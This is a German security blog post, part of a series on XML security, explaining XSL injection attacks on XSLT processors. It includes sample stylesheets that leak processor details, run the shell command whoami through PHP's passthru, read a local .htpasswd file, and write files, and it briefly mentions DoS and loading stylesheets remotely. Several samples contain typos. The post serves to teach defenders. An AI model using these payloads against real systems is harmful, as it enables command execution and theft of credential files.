Skip to content

XML-Sicherheit, Teil 4: XSL Injection, zum ersten

Werden XML-Daten vor der Verarbeitung nicht geprüft, kann ein Angreifer darüber eigenen XML-Code einschleusten. Meist kommt es dann zu den schon vorgestellten XML External Entity (XXE) Angriffen. Die stehen auf Platz 4 der aktuellen OWASP Top 10. Aber auch XML Injection ist in den OWASP Top 10 enthalten, jedenfalls indirekt: Auf Platz 1 steht allgemein die Top 10-2017 A1-Injection.

Worum es bei XXE-Angriffen generell geht haben Sie bereits im ersten Teil erfahren, in dem ich Ihnen auch einige Beispiele für XXE-Schwachstellen vorgestellt habe. Und mit XXE-Schwachstellen ging es auch im zweiten Teil weiter, z.B. bei Facebook und Google. Und auch einen dritten Teil zu XXE-Angriffen gab es noch, mit weiteren Schwachstellen und den möglichen Schutzmaßnahmen.

Ab dieser Folge geht es um weitere Angriffe auf bzw. über XML. Zuerst um

Angriffe auf Extensible Stylesheet Language Transformations (XSLT)

Ein weiterer Angriff über XML Injection erfolgt über XSLT (Extensible Stylesheet Language Transformations) und richtet sich gegen den XSLT-Prozessor sowie ggf. Schwachstellen darin. Man kann dann auch von XSL Injection sprechen.

Über präparierte XSLT-Dateien können verschiedene Angriffe durchgeführt werden.

Informationen ausspähen

Folgende XSLT-Datei verrät die Version des XSLT-Prozessors sowie dessen Hersteller samt URL zur Website:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/">
      Version:    <xsl:value -of select="system-property(’xsl:version ’)" /> 
      Hersteller: <xsl:value -of select="system-property(’xsl:vendor ’)" /> 
      Herst.-URL: <xsl:value-of select="system-property(’xsl:vendor-url’)" />
   </xsl:template> 
</xsl:stylesheet>

Wenn Sie jetzt denken "Was soll's, so schlimm ist das ja nicht!" haben Sie nur zum Teil recht. In der Tat sind das keine streng geheimen Informationen, aber trotzdem sind sie für den Angreifer nützlich: Wenn er weiß, mit welchem XSLT-Prozessor er es zu tun hat, kann er ihn gezielt Angreifen und dessen individuelle Features missbrauchen oder möglicherweise vorhandene Schwachstellen ausnutzen. Zu den Schwachstellen komme ich in der nächsten Folge, ein gefährliches Feature folgt sogleich:

Code ausführen

Einige XSLT-Prozessoren erlauben auch das Ausführen von Code, der direkt in der XSL-Datei steht. Dazu gehört auch PHP, wenn registerPHPFunctions aktiviert ist. Dann würde die folgende XSLT-Datei den Befehl whoami ausführen:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
   <xsl:template match="/">
      <xsl:value-of select="php:function('passthru','whoami')"/>
   </xsl:template>
</xsl:stylesheet>

Das Ausführen von Code ist allerdings ein zusätzliches Feature der Prozessoren und nicht Bestandteil der XSLT-Spezifikation des W3C.

Dateien lesen...

Auch das Lesen lokaler Dateien ist möglich. Die folgende Datei liest die .htpasswd-Datei und gibt, da sie nicht wohlgeformt ist, die erste Zeile und eine Fehlermeldung aus:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:sylesheet version=1.0 xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/"> 
      <xsl:copy-of select="document(’.htpasswd’)"/>
   </xsl:template> 
</xsl:stylesheet>

Eine wohlgeformte XML-Datei würde komplett ausgegeben.

... und schreiben

Auch das Schreiben von Dateien ist möglich. Dafür wird die in XSLT 2.0 spezifizierte Funktion <xsl:result-document> verwendet:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/">
      <xsl:result-document href="test.html">
          <b><xsl:text>Das ist alles nur ein Test...</xsl:text></b>
      </xsl:result-document>
   </xsl:template>
</xsl:stylesheet>

DoS-Angriffe und Stylesheets einbinden

Auch DoS-Angriffe, zum Beispiel durch ressourcenfressende Aktionen in einer for-each-Schleife, sind möglich.

Außerdem können über die Funktionen <xsl:include> und <xsl:import> Daten aus anderen Stylesheets in das aktuelle Stylesheet importiert werden. Damit lassen sich z.B. bösartige XSLT-Daten nachladen und ausführen.

In der nächsten Folge geht es um Schwachstellen in den XSLT-Prozessoren und Angriffe darauf bzw. darüber,

Carsten Eilers

>
        </div>
                
        <footer class= Kategorien: Grundlagen

Trackbacks

Dipl.-Inform. Carsten Eilers am : XML-Sicherheit, Teil 5: XSL Injection, zum zweiten

Vorschau anzeigen
Werden XML-Daten vor der Verarbeitung nicht geprüft, kann ein Angreifer darüber eigenen XML-Code einschleusten. Meist kommt es dann zu den schon vorgestellten XML External Entity (XXE) Angriffen. Die stehen auf Platz 4 der aktuellen OWAS